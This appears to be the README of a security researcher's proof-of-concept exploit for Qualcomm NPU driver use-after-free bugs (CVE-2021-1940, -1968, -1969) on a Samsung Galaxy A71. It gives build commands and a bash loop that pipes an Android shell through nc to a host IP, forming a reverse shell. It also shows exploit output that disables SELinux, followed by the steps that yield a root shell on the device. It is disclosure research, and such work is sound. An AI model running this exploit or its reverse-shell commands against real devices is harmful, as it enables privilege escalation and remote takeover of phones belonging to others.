The write up can be found here. These are bugs in the Qualcomm NPU driver I reported between November 2020 and December 2020. The GitHub Advisories for these bugs are: CVE-2021-1940/GHSL-2021-1029, CVE-2021-1968/GHSL-2021-1030 and CVE-2021-1969/GHSL-2021-1031. These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux.
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the FAST_CPU macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either -O2 or -O3 level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O3 npu_shell.c sendmsg_spray.c -o npu_shell
The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port 4446:
#!/bin/bash
while [ 1 ];
do
echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc <HOST_IP> 4445 1> /data/local/tmp/1" | nc -l -p 4446;
done
With <HOST_IP> replaced by the IP address of the host machine. The HOST_IP macro in npu_shell.c also needs to be replaced.
The reason for this extra step is because nc on Android does not support the -e flag. (See "Popping a (reverse) shell" in MMS Exploit Part 5: Defeating Android ASLR, Getting RCE of Mateusz Jurczyk and also the reference quoted in the article) Then listens to port 4445 on the host machine:
$ nc -nlvp 4445
Listening on 0.0.0.0 4445
To test, cross compile the file npu_shell.c and then execute with adb:
adb push npu_shell /data/local/tmp
adb shell
a71:/ $ /data/local/tmp/npu_shell
The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell:
a71:/ $ /data/local/tmp/npu_sploit
[+] host_irq_wq offset: ffffff800919d170
a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 4 reallocation threads ready!
[+] trigger uaf
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 8 reallocation threads ready!
[-] failed to overwrite selinux_enforcing
[+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 4 reallocation threads ready!
[+] trigger uaf
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 8 reallocation threads ready!
[+] successfully overwritten selinux_enforcing
After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the nc server that is listening to port 4445 before doing anything on the target. (The restarting of the nc server can probably be automated)
- Go to the terminal that listens to port 4445 and it should have received a packet:
$nc -nlvp 4445
Listening on 0.0.0.0 4445
Connection received on 12.34.56.78 37532
- Kill
ncwithCtrl Cand then start it again
^C
$ nc -nlvp 4445
Listening on 0.0.0.0 4445
- Go back to the Android target, press enter to unfreeze, the
ncterminal should now have a root shell:
Listening on 0.0.0.0 4445
Connection received on 12.34.56.78 37566
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
:/ #